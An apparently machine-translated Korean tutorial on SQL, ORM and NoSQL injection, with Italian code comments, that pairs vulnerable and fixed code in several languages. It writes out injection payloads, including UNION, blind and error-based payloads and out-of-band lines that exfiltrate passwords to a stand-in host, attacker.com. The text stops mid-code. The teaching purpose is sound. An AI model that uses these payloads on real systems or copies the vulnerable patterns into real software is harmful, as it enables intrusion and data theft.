03 - SQL 주입 및 입력 검증: 백엔드 보안
SQL 주입은 웹에서 가장 오래되고 가장 위험한 취약점 중 하나입니다. 1990년대 후반에 처음 문서화되었으며 오늘날에도 여전히 치명적인 데이터 침해의 중심에 있습니다. Verizon DBIR에 따르면 2024년에 SQL 주입 및 기타 웹 애플리케이션 공격으로 인해 전체 데이터 침해의 26%. 2025년에는 더 많아질 것으로 예상 2,600CVE SQL 주입과 관련하여 2024년 2,400개에서 증가했습니다.
이는 단지 고전적인 SQL 쿼리에 관한 것이 아닙니다. 오늘날 위협은 다음으로 확장됩니다. ORM 주입 TypeORM 및 Prisma에 대해 NoSQL 주입 MongoDB에 대한 공격, 데이터베이스에 이미 존재하는 데이터를 이용하는 2세대 공격 등이 있습니다. 이 기사에서는 Node.js, Python 및 Java의 취약하고 안전한 코드로 각 변종을 분석하고 백엔드에 대한 포괄적인 방어 전략을 제공합니다.
무엇을 배울 것인가
- SQL 주입에 대한 완전한 분석: UNION, 블라인드, 시간 기반, 오류 기반, 대역 외
- 2차 SQL 주입: 작동 방식 및 피상적인 검사를 피하는 이유
- 실제 예제를 통해 TypeORM 및 Prisma에 ORM 주입
- $ne 및 $regex와 같은 연산자를 사용하여 MongoDB에 NoSQL 주입
- Node.js, Python 및 Java의 준비된 명령문 및 매개변수화된 쿼리
- Zod(Node.js), Pydantic(Python) 및 Bean 유효성 검사(Java)를 사용한 입력 유효성 검사
- 데이터베이스 강화 및 최소 권한 원칙
- SQLMap을 사용하여 애플리케이션을 테스트하는 방법
- 실제 사례 연구: MOVEit Transfer, TSA FlyCASS, ResumeLooters
SQL 주입 분석
SQL 주입은 다음과 같은 경우에 발생합니다. 잘못된 사용자 입력이 SQL 쿼리에 직접 연결됩니다., 공격자가 쿼리 자체의 논리를 수정할 수 있도록 허용합니다. 근본적인 아키텍처 문제: 데이터를 실행 가능한 코드로 처리합니다.
가장 간단한 경우인 문자열 연결을 사용하여 쿼리를 구성하는 Node.js의 로그인 페이지를 고려해 보겠습니다.
// CODICE VULNERABILE - Node.js con mysql2
const express = require('express');
const mysql = require('mysql2/promise');
app.post('/login', async (req, res) => {
const { username, password } = req.body;
// VULNERABILE: concatenazione diretta di input utente
const query = `SELECT * FROM users
WHERE username = '${username}'
AND password = '${password}'`;
const [rows] = await db.execute(query);
if (rows.length > 0) {
res.json({ success: true, user: rows[0] });
} else {
res.status(401).json({ error: 'Credenziali non valide' });
}
});
// ATTACCO: username = "admin' --"
// Query risultante:
// SELECT * FROM users
// WHERE username = 'admin' --' AND password = '...'
// Il -- commenta il resto: accesso garantito senza password!
SQL 인젝션의 5가지 유형
1. 클래식 / UNION 기반
공격자는 연산자를 사용합니다. UNION 첫 번째 결과에 두 번째 쿼리를 추가합니다. 쿼리 데이터를 포함하려면 애플리케이션 응답이 필요합니다.
-- Payload UNION-based: estrae utenti dalla tabella users
-- Input: id = 1 UNION SELECT username, password, NULL FROM users --
-- Query originale:
SELECT product_name, price, description FROM products WHERE id = 1
-- Query iniettata:
SELECT product_name, price, description FROM products WHERE id = 1
UNION SELECT username, password, NULL FROM users --
-- Prerequisito: stesso numero di colonne, tipi compatibili
2. 블라인드 부울 기반
애플리케이션은 데이터베이스 데이터를 표시하지 않지만 주입된 조건의 진실/거짓에 따라 동작을 변경합니다(예: 콘텐츠 표시 또는 숨기기). 공격자는 정보를 조금씩 추론합니다.
-- Payload boolean-based: verifica se la prima lettera dell'utente e 'a'
-- Se la pagina risponde normalmente: condizione vera
-- Se la pagina e vuota: condizione falsa
-- Vero (pagina normale):
GET /product?id=1 AND SUBSTRING((SELECT username FROM users LIMIT 1),1,1)='a'
-- Falso (pagina vuota):
GET /product?id=1 AND SUBSTRING((SELECT username FROM users LIMIT 1),1,1)='b'
-- Automatizzabile con sqlmap o script custom per estrarre dati carattere per carattere
3. 블라인드 시간 기반
애플리케이션이 눈에 보이는 방식으로 응답을 변경하지 않는 경우 공격자는 데이터베이스에서 지연을 유발하는 기능을 사용하여 응답 시간에서 정보를 유추합니다.
-- MySQL: SLEEP() per estrarre informazioni dal timing
-- Se la risposta impiega 5 secondi: condizione vera
-- Se risponde subito: condizione falsa
-- Verifica se il database si chiama 'production':
GET /product?id=1 AND IF(
(SELECT database())='production',
SLEEP(5),
0
) --
-- PostgreSQL equivalente con pg_sleep():
-- id=1; SELECT CASE WHEN (username='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users --
-- Microsoft SQL Server:
-- id=1; IF (SELECT COUNT(*) FROM users WHERE username='admin')>0 WAITFOR DELAY '0:0:5'--
4. 오류 기반
공격자는 데이터베이스가 추출된 데이터가 포함된 오류 메시지를 생성하도록 강제합니다. 이는 애플리케이션이 사용자에게 데이터베이스 오류를 표시할 때 작동합니다(프로덕션용으로 잘못 구성된 개발 환경에서 구성 오류가 자주 발생함).
-- MySQL error-based: extractvalue() genera un errore con il valore estratto
-- id=1 AND extractvalue(1, concat(0x7e, (SELECT database())))
-- Errore restituito all'utente:
-- ERROR 1105 (HY000): XPATH syntax error: '~production_db'
-- L'attaccante ottiene il nome del database dall'errore!
-- PostgreSQL: cast di tipo per forzare errore
-- id=1 AND cast((SELECT version()) as int)
-- Error: invalid input syntax for type integer:
-- "PostgreSQL 15.2 on x86_64-pc-linux-gnu"
5. 대역 외(OOB)
일반적인 HTTP 응답이 아닌 대체 채널(DNS 조회, HTTP 요청)을 통해 데이터를 추출하는 고급 기술입니다. 대역 내 채널이 차단된 경우 유용합니다.
-- MySQL OOB via DNS (richiede FILE privilege e outbound DNS):
-- id=1 AND load_file(concat('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\x'))
-- Microsoft SQL Server OOB via HTTP (xp_dirtree o sp_makewebtask):
-- id=1; EXEC master..xp_dirtree '\\attacker.com\' + (SELECT TOP 1 password FROM users) + '\share'
-- L'attaccante vede la richiesta nei log DNS di attacker.com:
-- admin:5f4dcc3b5aa765d61d8327deb882cf99.attacker.com
2차 SQL 주입: 숨겨진 위협
La 2차 SQL 주입 (또는 저장된 SQL 주입)은 표준 보안 검사를 벗어나기 때문에 가장 교활한 취약점 중 하나입니다. 페이로드는 삽입 즉시 실행되지는 않지만 데이터베이스에 저장됨 그런 다음 검색하여 후속 쿼리에 사용 적절한 소독 없이.
이 시나리오는 삽입 코드가 정확하고 안전할 수 있지만 읽기 및 사용 코드가 취약하기 때문에 특히 위험합니다. 표면 침투 테스트에서는 종종 놓치는 경우가 있습니다.
// SCENARIO: registrazione utente e cambio password
// FASE 1 - Registrazione (apparentemente sicura con prepared statement)
app.post('/register', async (req, res) => {
const { username, password } = req.body;
// Usa prepared statement - sembra sicuro!
await db.execute(
'INSERT INTO users (username, password) VALUES (?, ?)',
[username, hash(password)]
);
// L'attaccante si registra con username: admin'--
// Salvato correttamente nel DB come stringa: admin'--
});
// FASE 2 - Cambio password (VULNERABILE: costruisce query con dato dal DB)
app.post('/change-password', async (req, res) => {
const userId = req.session.userId;
// Recupera username dal DB (sembra "sicuro" perchè viene dal nostro DB)
const [userRows] = await db.execute(
'SELECT username FROM users WHERE id = ?',
[userId]
);
const username = userRows[0].username; // = "admin'--"
const { newPassword } = req.body;
// VULNERABILE: concatena username recuperato dal DB
const query = `UPDATE users SET password = '${hash(newPassword)}'
WHERE username = '${username}'`;
// Query risultante:
// UPDATE users SET password = 'newhash' WHERE username = 'admin'--'
// Aggiorna la password dell'admin, non dell'attaccante!
await db.execute(query);
});
// SOLUZIONE: usa parameterized query ANCHE quando i dati vengono dal DB
app.post('/change-password-safe', async (req, res) => {
const userId = req.session.userId;
const [userRows] = await db.execute(
'SELECT username FROM users WHERE id = ?',
[userId]
);
const username = userRows[0].username;
const { newPassword } = req.body;
// SICURO: prepared statement anche per dati interni
await db.execute(
'UPDATE users SET password = ? WHERE username = ?',
[hash(newPassword), username]
);
});
2차 주입의 황금률
항상 데이터베이스에서 오는 데이터를 신뢰할 수 없는 데이터로 취급하십시오., especially if originally posted by users. 데이터베이스에서 가져온 항목이 자동으로 쿼리에 사용하기에 안전한 것은 아닙니다. 데이터 소스에 관계없이 항상 매개변수화된 쿼리를 사용하십시오.
매개변수화된 쿼리: 주요 방어
I 준비된 진술 (또는 매개변수화된 쿼리)은 SQL 삽입에 대한 가장 효과적인 대응책입니다. 원리는 간단합니다. 쿼리 구조가 데이터베이스로 전송됩니다. 갈라져 데이터에서 두 가지 단계로 진행됩니다. 데이터베이스는 데이터를 수신하기 전에 실행 계획을 컴파일하므로 쿼리 논리를 변경할 수 없습니다.
mysql2를 사용한 Node.js
// SICURO: parameterized queries con mysql2
const mysql = require('mysql2/promise');
const pool = mysql.createPool({
host: process.env.DB_HOST,
user: process.env.DB_USER,
password: process.env.DB_PASSWORD,
database: process.env.DB_NAME,
// Opzione di sicurezza: disabilita multiple statements
multipleStatements: false,
});
// Login sicuro
async function loginUser(username, password) {
// Il ? e un placeholder: mysql2 gestisce l'escaping automaticamente
const [rows] = await pool.execute(
'SELECT id, username, role FROM users WHERE username = ? AND password = ?',
[username, hashPassword(password)]
);
return rows[0] || null;
}
// Ricerca con LIKE sicura
async function searchProducts(searchTerm, category, limit = 20) {
// Anche i wildcard % devono essere nel parametro, non nella query
const likeTerm = `%${searchTerm}%`;
const [rows] = await pool.execute(
`SELECT id, name, price FROM products
WHERE name LIKE ? AND category = ?
LIMIT ?`,
[likeTerm, category, limit]
);
return rows;
}
// Inserimento sicuro con validazione
async function createUser(userData) {
const { username, email, password, role = 'user' } = userData;
// Whitelist per il campo role (non parametrizzabile come identifier)
const allowedRoles = ['user', 'moderator'];
if (!allowedRoles.includes(role)) {
throw new Error('Ruolo non valido');
}
const [result] = await pool.execute(
'INSERT INTO users (username, email, password_hash, role) VALUES (?, ?, ?, ?)',
[username, email, hashPassword(password), role]
);
return result.insertId;
}
psycopg2를 사용하는 Python(PostgreSQL)
# SICURO: parameterized queries con psycopg2
import psycopg2
import psycopg2.extras
from contextlib import contextmanager
@contextmanager
def get_db_connection():
conn = psycopg2.connect(
host=os.environ['DB_HOST'],
database=os.environ['DB_NAME'],
user=os.environ['DB_USER'],
password=os.environ['DB_PASSWORD']
)
try:
yield conn
finally:
conn.close()
def get_user_by_id(user_id: int) -> dict | None:
"""
Usa %s come placeholder (NON f-string o format()).
psycopg2 gestisce l'escaping dei parametri in modo sicuro.
"""
with get_db_connection() as conn:
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
# Corretto: placeholder %s con tupla di parametri
cur.execute(
"SELECT id, username, email, role FROM users WHERE id = %s",
(user_id,) # Nota la virgola: deve essere una tupla
)
return cur.fetchone()
def search_users(filters: dict) -> list[dict]:
"""
Costruzione dinamica sicura di query con parametri multipli.
Evita di costruire SQL dinamico con concatenazione.
"""
conditions = []
params = []
if 'username' in filters:
conditions.append("username ILIKE %s")
params.append(f"%{filters['username']}%")
if 'role' in filters:
# Whitelist per valori enumerati
allowed_roles = {'user', 'admin', 'moderator'}
if filters['role'] not in allowed_roles:
raise ValueError(f"Ruolo non valido: {filters['role']}")
conditions.append("role = %s")
params.append(filters['role'])
where_clause = " AND ".join(conditions) if conditions else "TRUE"
query = f"SELECT id, username, email, role FROM users WHERE {where_clause}"
with get_db_connection() as conn:
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
cur.execute(query, params)
return cur.fetchall()
# SBAGLIATO - Non fare mai questo:
# cur.execute(f"SELECT * FROM users WHERE id = {user_id}") # f-string = vulnerabile
# cur.execute("SELECT * FROM users WHERE id = " + str(user_id)) # concatenazione = vulnerabile
# cur.execute("SELECT * FROM users WHERE id = %s" % user_id) # % formatting = vulnerabile
JDBC ReadyStatement를 사용하는 Java
// SICURO: PreparedStatement con JDBC in Java
import java.sql.*;
import java.util.Optional;
public class UserRepository {
private final DataSource dataSource;
public UserRepository(DataSource dataSource) {
this.dataSource = dataSource;
}
// SICURO: PreparedStatement parametrizzato
public Optional<User> findByUsername(String username) {
String sql = "SELECT id, username, email, role FROM users WHERE username = ?";
try (Connection conn = dataSource.getConnection();
PreparedStatement stmt = conn.prepareStatement(sql)) {
stmt.setString(1, username); // Parametro 1-indexed
ResultSet rs = stmt.executeQuery();
if (rs.next()) {
return Optional.of(new User(
rs.getLong("id"),
rs.getString("username"),
rs.getString("email"),
rs.getString("role")
));
}
return Optional.empty();
} catch (SQLException e) {
throw new DatabaseException("Errore nella ricerca utente", e);
}
}
// Inserimento sicuro con transazione
public long createUser(String username, String email, String passwordHash) {
String sql = "INSERT INTO users (username, email, password_hash, created_at) " +
"VALUES (?, ?, ?, NOW())";
try (Connection conn = dataSource.getConnection()) {
conn.setAutoCommit(false);
try (PreparedStatement stmt = conn.prepareStatement(
sql, Statement.RETURN_GENERATED_KEYS)) {
stmt.setString(1, username);
stmt.setString(2, email);
stmt.setString(3, passwordHash);
stmt.executeUpdate();
conn.commit();
ResultSet keys = stmt.getGeneratedKeys();
if (keys.next()) {
return keys.getLong(1);
}
throw new DatabaseException("Impossibile ottenere ID generato");
} catch (SQLException e) {
conn.rollback();
throw new DatabaseException("Errore creazione utente", e);
}
} catch (SQLException e) {
throw new DatabaseException("Errore connessione database", e);
}
}
// SBAGLIATO - Statement.execute() con concatenazione:
// String sql = "SELECT * FROM users WHERE username = '" + username + "'";
// stmt.execute(sql); // MAI fare questo!
}
ORM 주입: "안전"만으로는 충분하지 않은 경우
많은 개발자들은 ORM(Object-Relational Mapper)을 사용하면 SQL 주입의 위험이 자동으로 제거된다고 잘못 믿고 있습니다. 실제로 2025년 연구에 따르면 ORM을 사용하는 애플리케이션의 30% 이상이 여전히 SQL 주입 취약점을 포함하고 있습니다. 잘못된 사용 패턴으로 인해 가장 일반적인 경우를 살펴 보겠습니다.
TypeORM: 원시 쿼리 및 QueryBuilder
// TypeORM - Pattern VULNERABILI vs SICURI
import { DataSource, Repository } from 'typeorm';
import { User } from './entities/User';
// VULNERABILE 1: query() con interpolazione di stringa
async function findUserVulnerable(username: string) {
const result = await dataSource.query(
`SELECT * FROM users WHERE username = '${username}'`
// Se username = "admin' OR '1'='1", bypass immediato!
);
return result;
}
// SICURO 1: query() con parametri posizionali
async function findUserSafe(username: string) {
const result = await dataSource.query(
'SELECT id, username, email FROM users WHERE username = $1',
[username] // Parametri come array separato
);
return result;
}
// VULNERABILE 2: QueryBuilder con where() e interpolazione
async function searchUserVulnerable(role: string, search: string) {
return await dataSource
.createQueryBuilder(User, 'user')
.where(`user.role = '${role}' AND user.username LIKE '%${search}%'`)
// Interpolazione diretta = SQL injection!
.getMany();
}
// SICURO 2: QueryBuilder con parametri nominati
async function searchUserSafe(role: string, search: string) {
// Whitelist per campi enumerati come role
const allowedRoles = ['user', 'admin', 'moderator'] as const;
if (!allowedRoles.includes(role as any)) {
throw new Error('Ruolo non valido');
}
return await dataSource
.createQueryBuilder(User, 'user')
.where('user.role = :role AND user.username LIKE :search', {
role, // Parametro nominato :role
search: `%${search}%` // Il % viene nel parametro, non nella query
})
.select(['user.id', 'user.username', 'user.email'])
.getMany();
}
// SICURO 3: Repository API (il modo più sicuro con TypeORM)
async function findUsersByRoleSafe(
userRepository: Repository<User>,
role: string
) {
return await userRepository.findBy({ role });
// TypeORM genera automaticamente query parametrizzate
}
// SICURO 4: find() con condizioni complesse
async function findActiveUsersSafe(
userRepository: Repository<User>
) {
return await userRepository.find({
where: {
isActive: true,
role: 'user'
},
select: {
id: true,
username: true,
email: true
},
take: 100 // Limita i risultati
});
}
프리즘: $queryRaw 사례
Prisma는 일반적으로 표준 쿼리에 안전한 것으로 간주되지만 방법 $queryRaw e $executeRaw 특별한 주의가 필요합니다. 2025년 연구에 따르면 Prisma는 공격에 취약할 수 있는 것으로 나타났습니다. 시간 기반 JSON 연산자와 데이터베이스 기능을 통해.
// Prisma - Pattern VULNERABILI vs SICURI
import { PrismaClient } from '@prisma/client';
const prisma = new PrismaClient();
// VULNERABILE: $queryRaw con template literal non sicuro
async function getUserVulnerable(userId: string) {
// MAI usare $queryRawUnsafe con input utente!
const result = await prisma.$queryRawUnsafe(
`SELECT * FROM users WHERE id = ${userId}`
// userId = "1 OR 1=1" bypassa il filtro!
);
return result;
}
// SICURO 1: $queryRaw con tagged template literals
// Prisma parametrizza automaticamente le interpolazioni nel tagged template
async function getUserSafe(userId: number) {
// Nota: usa Prisma.sql template tag, NON stringa normale
const result = await prisma.$queryRaw`
SELECT id, username, email FROM users WHERE id = ${userId}
`;
// Prisma converte ${userId} in un parametro preparato automaticamente
return result;
}
// SICURO 2: Usa l'API standard di Prisma quando possibile
async function getUserWithOrders(userId: number) {
return await prisma.user.findUnique({
where: { id: userId },
select: {
id: true,
username: true,
email: true,
orders: {
where: { status: 'active' },
take: 10
}
}
});
// Completamente sicuro: Prisma genera prepared statements
}
// ATTENZIONE: Prisma findMany con where esposto all'utente
// VULNERABILE: ORM Leak - espone troppi dati
async function searchUsersVulnerable(userFilter: any) {
return await prisma.user.findMany({
where: userFilter, // L'utente controlla il where = ORM Leak!
// Un attaccante può usare: { password: { startsWith: 'a' } }
// Per estrarre la password carattere per carattere (timing attack)
});
}
// SICURO: schema di validazione strict per i filtri
import { z } from 'zod';
const UserSearchSchema = z.object({
username: z.string().max(50).optional(),
email: z.string().email().optional(),
role: z.enum(['user', 'moderator']).optional(),
});
async function searchUsersSafe(rawFilter: unknown) {
// Valida e trasforma il filtro con schema strict
const validFilter = UserSearchSchema.parse(rawFilter);
return await prisma.user.findMany({
where: validFilter, // Solo campi consentiti e validati
select: { // Seleziona esplicitamente i campi
id: true,
username: true,
email: true,
role: true,
},
take: 50,
});
}
NoSQL 주입: MongoDB와 위험한 연산자
MongoDB와 같은 NoSQL 데이터베이스를 사용하는 애플리케이션은 주입에 면역되지 않습니다. NoSQL 공격은 쿼리 연산자 데이터베이스(예: $ne, $gt, $regex) 쿼리 논리를 변경합니다. 일반적인 공격 벡터는 HTTP 요청의 잘못된 JSON 본문입니다.
// MongoDB con Mongoose - VULNERABILE
const express = require('express');
const User = require('./models/User');
// VULNERABILE: usa direttamente req.body come query MongoDB
app.post('/login', async (req, res) => {
const { username, password } = req.body;
// Se il body e: { "username": { "$ne": null }, "password": { "$ne": null } }
// La query diventa: WHERE username != null AND password != null
// Ritorna il PRIMO utente nel DB, bypass completo!
const user = await User.findOne({ username, password });
if (user) {
res.json({ token: generateToken(user) });
} else {
res.status(401).json({ error: 'Non autorizzato' });
}
});
// Payload di attacco (come JSON body):
// {
// "username": { "$ne": null },
// "password": { "$ne": null }
// }
// Altri payload comuni:
// { "username": { "$regex": ".*" } } -- match qualsiasi username
// { "password": { "$gt": "" } } -- password > stringa vuota (sempre vero)
// { "username": { "$in": ["admin", "root", "administrator"] } }
// MongoDB con Mongoose - SICURO
const express = require('express');
const mongoose = require('mongoose');
const mongoSanitize = require('express-mongo-sanitize');
const { z } = require('zod');
const bcrypt = require('bcrypt');
// 1. Middleware globale di sanitizzazione
app.use(mongoSanitize({
replaceWith: '_', // Sostituisce $ con _ negli operatori
onSanitizeError(req, res) {
res.status(400).json({ error: 'Input non valido' });
}
}));
// 2. Schema Zod per validazione strict del tipo
const LoginSchema = z.object({
username: z.string().min(3).max(50).regex(/^[a-zA-Z0-9_]+$/),
password: z.string().min(8).max(128),
});
// SICURO: validazione + hashing password + nessuna query con password in chiaro
app.post('/login', async (req, res) => {
try {
// Valida il tipo: username e password DEVONO essere stringhe
const { username, password } = LoginSchema.parse(req.body);
// Cerca per username (stringa validata, non oggetto)
const user = await User.findOne({ username }).select('+password');
if (!user) {
// Tempo di risposta costante per prevenire timing attacks
await bcrypt.compare(password, '$2b$10$placeholder.hash.here.for.timing');
return res.status(401).json({ error: 'Credenziali non valide' });
}
// Verifica password con bcrypt (non in chiaro nel DB)
const isValid = await bcrypt.compare(password, user.password);
if (!isValid) {
return res.status(401).json({ error: 'Credenziali non valide' });
}
res.json({ token: generateToken(user) });
} catch (error) {
if (error instanceof z.ZodError) {
return res.status(400).json({ error: 'Formato input non valido' });
}
// Non esporre dettagli dell'errore interno
res.status(500).json({ error: 'Errore del server' });
}
});
// 3. Mongoose schema con strict mode (default: true)
const userSchema = new mongoose.Schema({
username: { type: String, required: true, unique: true },
email: { type: String, required: true },
password: { type: String, required: true, select: false },
role: { type: String, enum: ['user', 'admin', 'moderator'], default: 'user' }
}, {
strict: true, // Ignora campi non definiti nello schema
// sanitizeFilter: true // Mongoose 6+: sanitizza automaticamente i query operator
});
// 4. Usa sanitizeFilter per query che accettano filtri utente
const UserModel = mongoose.model('User', userSchema);
async function findUsersByFilter(rawFilter) {
// sanitizeFilter: true nel modello previene ORM injection
// oppure usa questo approccio esplicito:
return await UserModel.find(rawFilter).sanitizeFilter(true);
}
입력 검증: 1차 방어선
매개변수화된 쿼리는 SQL 삽입을 방지하지만입력 유효성 검사 첫 번째 방어 장벽이며 공격 표면을 크게 줄입니다. 강력한 검증은 다음 원칙을 따릅니다. 허용 목록 차단 목록(금지 사항 지정)이 아닌 (허용 사항 지정)
Node.js/TypeScript용 Zod
// Input validation con Zod - Node.js/TypeScript
import { z } from 'zod';
// Schema riutilizzabile per parametri comuni
const IdSchema = z.coerce.number().int().positive().max(2147483647);
const PaginationSchema = z.object({
page: z.coerce.number().int().min(1).default(1),
limit: z.coerce.number().int().min(1).max(100).default(20),
sortBy: z.enum(['created_at', 'username', 'email']).default('created_at'),
sortOrder: z.enum(['asc', 'desc']).default('desc'),
});
// Schema per creazione utente
const CreateUserSchema = z.object({
username: z
.string()
.min(3, 'Username troppo corto')
.max(50, 'Username troppo lungo')
.regex(/^[a-zA-Z0-9_-]+$/, 'Caratteri non consentiti nell\'username'),
email: z
.string()
.email('Formato email non valido')
.max(255),
password: z
.string()
.min(8, 'Password troppo corta')
.max(128, 'Password troppo lunga')
.regex(
/^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*[@$!%*?&])/,
'La password deve contenere maiuscole, minuscole, numeri e caratteri speciali'
),
role: z.enum(['user', 'moderator']).default('user'),
});
// Middleware di validazione generico per Express
function validateBody<T>(schema: z.ZodSchema<T>) {
return (req: Request, res: Response, next: NextFunction) => {
const result = schema.safeParse(req.body);
if (!result.success) {
return res.status(400).json({
error: 'Dati non validi',
details: result.error.issues.map(issue => ({
field: issue.path.join('.'),
message: issue.message,
})),
});
}
req.body = result.data; // Sostituisce con dati validati e tipizzati
next();
};
}
function validateQuery<T>(schema: z.ZodSchema<T>) {
return (req: Request, res: Response, next: NextFunction) => {
const result = schema.safeParse(req.query);
if (!result.success) {
return res.status(400).json({
error: 'Parametri query non validi',
details: result.error.issues,
});
}
req.validatedQuery = result.data;
next();
};
}
// Uso nei router
app.post('/api/users',
validateBody(CreateUserSchema),
async (req, res) => {
// req.body e ora tipizzato e validato
const user = await createUser(req.body);
res.status(201).json({ id: user.id });
}
);
app.get('/api/products',
validateQuery(PaginationSchema),
async (req, res) => {
const { page, limit, sortBy, sortOrder } = req.validatedQuery;
const products = await getProducts(page, limit, sortBy, sortOrder);
res.json(products);
}
);
Python/FastAPI용 Pydantic
# Input validation con Pydantic v2 - Python/FastAPI
from pydantic import BaseModel, Field, field_validator, EmailStr
from typing import Literal
from enum import Enum
import re
class UserRole(str, Enum):
user = "user"
moderator = "moderator"
admin = "admin"
class CreateUserRequest(BaseModel):
username: str = Field(
min_length=3,
max_length=50,
description="Username alfanumerico"
)
email: EmailStr
password: str = Field(min_length=8, max_length=128)
role: UserRole = UserRole.user
@field_validator('username')
@classmethod
def username_alphanumeric(cls, v: str) -> str:
if not re.match(r'^[a-zA-Z0-9_-]+






